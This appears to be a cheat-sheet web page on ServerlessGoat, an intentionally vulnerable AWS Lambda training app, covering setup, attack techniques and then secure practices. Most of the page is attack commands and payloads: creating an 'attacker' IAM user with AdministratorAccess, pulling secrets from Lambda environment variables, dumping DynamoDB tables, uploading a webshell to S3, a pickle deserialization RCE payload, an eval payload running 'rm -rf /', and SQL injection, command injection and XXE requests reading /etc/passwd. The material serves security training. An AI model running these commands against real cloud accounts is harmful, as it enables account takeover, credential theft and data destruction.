Skip to content

ServerlessGoat

ServerlessGoat is an intentionally vulnerable AWS Lambda application designed to teach secure serverless development. It demonstrates common AWS Lambda vulnerabilities including IAM misconfigurations, privilege escalation, insecure dependencies, secrets exposure, and improper access controls.

Installation and Setup

Prerequisites

# Install AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Configure AWS credentials
aws configure
# Enter Access Key ID
# Enter Secret Access Key
# Enter default region (us-east-1)

# Install Terraform (for deployment)
wget https://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip
unzip terraform_1.5.0_linux_amd64.zip
sudo mv terraform /usr/local/bin/

Deploy ServerlessGoat

# Clone repository
git clone https://github.com/OWASP/serverless-goat.git
cd serverless-goat

# Install dependencies
npm install

# Deploy to AWS (requires valid credentials)
terraform init
terraform plan
terraform apply

# View deployed resources
aws lambda list-functions --region us-east-1
aws apigateway get-rest-apis

Local Testing

# Install SAM CLI
pip install aws-sam-cli

# Build and deploy locally
sam build
sam local start-api

# Access at http://localhost:3000

AWS IAM Enumeration

List IAM Permissions

# Get current user/role info
aws sts get-caller-identity

# List attached policies
aws iam list-attached-user-policies --user-name <username>
aws iam list-attached-role-policies --role-name <role-name>

# Get policy details
aws iam get-user-policy --user-name <username> --policy-name <policy>
aws iam get-role-policy --role-name <role-name> --policy-name <policy>

# List all users
aws iam list-users

# List all roles
aws iam list-roles

# List policies
aws iam list-policies

# Get inline policy document
aws iam get-user-policy --user-name <username> --policy-name <policy-name>

Extract Lambda Execution Role

# Get Lambda function details
aws lambda get-function --function-name serverless-goat-function

# Extract role ARN from response
# Typically: arn:aws:iam::ACCOUNT_ID:role/lambda-execution-role

# Get role policies
aws iam list-attached-role-policies --role-name lambda-execution-role

# Get inline policies
aws iam list-role-policies --role-name lambda-execution-role

# Read policy document
aws iam get-role-policy --role-name lambda-execution-role --policy-name policy-name

Lambda Privilege Escalation

Overly Permissive IAM Policies

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:*",
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": "s3:*",
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": "dynamodb:*",
      "Resource": "*"
    }
  ]
}

Exploiting Overpermissive Policies

# If Lambda has iam:CreateAccessKey permission
aws iam create-access-key --user-name admin

# Create new admin user
aws iam create-user --user-name attacker
aws iam attach-user-policy --user-name attacker \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create inline policy with admin rights
aws iam put-user-policy --user-name attacker \
  --policy-name admin-policy \
  --policy-document file://admin-policy.json

# Get/create access keys for new user
aws iam create-access-key --user-name attacker

Lambda Function Code Exploitation

# Get Lambda function code
aws lambda get-function --function-name vulnerable-function \
  --query 'Code.Location' --output text

# Download and extract function code
wget <CodeLocation> -O function.zip
unzip function.zip

# Analyze code for secrets, API keys, credentials
grep -r "password\|secret\|key\|token" .

# Find environment variables
aws lambda get-function-configuration --function-name vulnerable-function

# List environment variables (may contain secrets)
aws lambda get-function-configuration --function-name vulnerable-function \
  --query 'Environment.Variables'

Secrets Exposure in Environment Variables

Environment Variable Enumeration

# List function config
aws lambda get-function-configuration --function-name target-function

# Extract environment variables
aws lambda get-function-configuration --function-name target-function \
  --query 'Environment.Variables' --output json

# Common secret names to look for
# DB_PASSWORD, API_KEY, SECRET_KEY, ADMIN_PASSWORD, TOKEN
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
# SLACK_TOKEN, GITHUB_TOKEN

Exploiting Exposed Credentials

# If environment contains database credentials
DB_HOST="database.example.com"
DB_USER="admin"
DB_PASSWORD="exposed_password"

# Connect to database
mysql -h $DB_HOST -u $DB_USER -p$DB_PASSWORD

# If API keys exposed
curl -H "Authorization: Bearer $EXPOSED_API_KEY" \
  https://api.example.com/admin/users

# If AWS keys exposed
export AWS_ACCESS_KEY_ID=<exposed_key>
export AWS_SECRET_ACCESS_KEY=<exposed_secret>
aws sts get-caller-identity  # Verify key validity
aws s3 ls  # List accessible S3 buckets

Insecure Deserialization in Lambda

Python Pickle Deserialization

# Vulnerable code
import pickle
import base64

def vulnerable_handler(event, context):
    # Attacker controls serialized_data
    serialized_data = event['data']
    data = pickle.loads(base64.b64decode(serialized_data))
    return data

# Exploit payload using pickle
import os
import pickle
import base64

class RCE:
    def __reduce__(self):
        return (os.system, ('whoami > /tmp/pwned',))

payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded)

Node.js Unsafe Deserialization

// Vulnerable code
const payload = JSON.parse(event.body);
const user = Object.assign({}, payload);
// If user object contains constructor properties, RCE possible

// Exploit
{
  "constructor": {
    "prototype": {
      "isAdmin": true,
      "command": "malicious_code"
    }
  }
}

DynamoDB/RDS Direct Access

DynamoDB Enumeration

# List tables
aws dynamodb list-tables

# Get table description
aws dynamodb describe-table --table-name Users

# Scan table (if permissions allow)
aws dynamodb scan --table-name Users

# Get items
aws dynamodb query --table-name Users \
  --key-condition-expression "id = :id" \
  --expression-attribute-values '{":id":{"S":"1"}}'

# Extract all data from table
aws dynamodb scan --table-name Users --output json > users.json

Exploiting DynamoDB Access

# If Lambda can read DynamoDB
aws dynamodb scan --table-name Secrets \
  --filter-expression "attribute_exists(password)"

# Extract sensitive data
aws dynamodb query --table-name Users \
  --key-condition-expression "email = :email" \
  --expression-attribute-values '{":email":{"S":"admin@example.com"}}'

# Modify data (if write permissions exist)
aws dynamodb update-item --table-name Users \
  --key '{"id":{"S":"1"}}' \
  --attribute-updates '{"role":{"Value":{"S":"admin"},"Action":"PUT"}}'

S3 Bucket Exploitation

List and Access S3 Buckets

# List all accessible S3 buckets
aws s3 ls

# List objects in bucket
aws s3 ls s3://bucket-name/

# Download files
aws s3 cp s3://bucket-name/sensitive-file.txt ./

# List with full paths
aws s3api list-objects-v2 --bucket bucket-name --query 'Contents[].Key'

# Search for sensitive files
aws s3api list-objects-v2 --bucket bucket-name \
  --query "Contents[?contains(Key, 'secret') || contains(Key, 'password')]"

Exploiting S3 Permissions

# If Lambda can write to S3
aws s3 cp malicious-code.zip s3://bucket-name/

# Upload webshell
aws s3 cp shell.php s3://bucket-name/uploads/

# Modify/delete data
aws s3 rm s3://bucket-name/critical-file.txt

# If bucket is public, access via HTTP
curl https://s3.amazonaws.com/bucket-name/file.txt
curl https://bucket-name.s3.amazonaws.com/file.txt

Lambda Invocation and Code Injection

Direct Lambda Invocation

# Invoke function synchronously
aws lambda invoke --function-name target-function \
  --payload '{"action":"admin"}' \
  response.json

# Invoke asynchronously
aws lambda invoke --function-name target-function \
  --invocation-type Event \
  --payload '{"data":"malicious"}' \
  response.json

# Read response
cat response.json

Lambda Code Injection Payloads

# If Lambda processes user input unsafely
# Injection through event payload

# Python eval() exploitation
{
  "command": "__import__('os').system('rm -rf /')"
}

# Node.js eval() exploitation
{
  "code": "require('child_process').exec('whoami')"
}

# Expression injection
{
  "expression": "1+1" -> eval() -> RCE
}

CloudWatch Logs Access

Extract Logs from Lambda

# List log groups
aws logs describe-log-groups

# List log streams
aws logs describe-log-streams --log-group-name /aws/lambda/function-name

# Get log events
aws logs get-log-events \
  --log-group-name /aws/lambda/function-name \
  --log-stream-name 2024/03/30/[$LATEST]abc123

# Search logs for secrets
aws logs filter-log-events \
  --log-group-name /aws/lambda/function-name \
  --filter-pattern "password OR secret OR token"

Testing with Burp Suite

Configure Burp for API Gateway

# 1. Get API Gateway endpoint
aws apigateway get-rest-apis --query 'items[].id'

# 2. Set up Burp proxy
# Burp > Proxy > Options > Proxy Listeners
# Set to localhost:8080

# 3. Configure browser proxy
# Point to localhost:8080

# 4. Navigate to API Gateway URL
# http://API_ID.execute-api.REGION.amazonaws.com/stage

# 5. Intercept requests
# Test for injection, auth bypass, etc.

Testing Lambda Endpoints

# Test for SQL injection in query parameters
curl "https://api.execute-api.region.amazonaws.com/dev/users?id=1' OR '1'='1"

# Test for command injection
curl "https://api.execute-api.region.amazonaws.com/dev/exec?cmd=whoami"

# Test for XXE
curl -X POST "https://api.execute-api.region.amazonaws.com/dev/upload" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'

# Test for privilege escalation
curl "https://api.execute-api.region.amazonaws.com/dev/admin" \
  -H "Authorization: Bearer user_token"

Common Vulnerabilities to Test

VulnerabilityTest MethodImpact
IAM MisconfigurationCheck role policiesAdmin access
Environment Variable SecretsGet function configCredential theft
Overpermissive S3 AccessList/download S3Data exfiltration
SQL Injection’ OR ‘1’=‘1’Database compromise
Insecure DeserializationPickle gadgetsRCE
Privilege EscalationCreate admin userFull account takeover
Hardcoded CredentialsReview codeService compromise
Unencrypted SecretsRead env varsCredential theft

Secure Lambda Practices

Least Privilege IAM Policy

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "dynamodb:Query",
        "dynamodb:GetItem"
      ],
      "Resource": "arn:aws:dynamodb:region:account:table/Users"
    },
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject"
      ],
      "Resource": "arn:aws:s3:::bucket-name/allowed-prefix/*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:region:account:log-group:/aws/lambda/function-name:*"
    }
  ]
}

Use AWS Secrets Manager

import boto3
import json

client = boto3.client('secretsmanager')

def get_secret(secret_name):
    try:
        response = client.get_secret_value(SecretId=secret_name)
        return json.loads(response['SecretString'])
    except Exception as e:
        raise e

def lambda_handler(event, context):
    # Don't use environment variables for secrets
    credentials = get_secret('prod/db/credentials')
    db_password = credentials['password']
    # Use password

Input Validation

import json
from jsonschema import validate

SCHEMA = {
    "type": "object",
    "properties": {
        "user_id": {"type": "integer"},
        "action": {"type": "string", "enum": ["read", "write"]}
    },
    "required": ["user_id", "action"]
}

def lambda_handler(event, context):
    try:
        validate(instance=json.loads(event['body']), schema=SCHEMA)
    except Exception as e:
        return {"statusCode": 400, "body": "Invalid input"}

    # Safe to process

Best Practices for Learning

  • Understand IAM permission model thoroughly
  • Test least privilege policies
  • Never hardcode secrets in code or environment variables
  • Use AWS Secrets Manager for sensitive data
  • Validate all input from API Gateway
  • Monitor CloudWatch logs for suspicious activity
  • Test privilege escalation scenarios
  • Document findings and remediation
  • Practice in isolated AWS accounts
  • Keep credentials in secure vaults

Resources


Last updated: 2026-03-30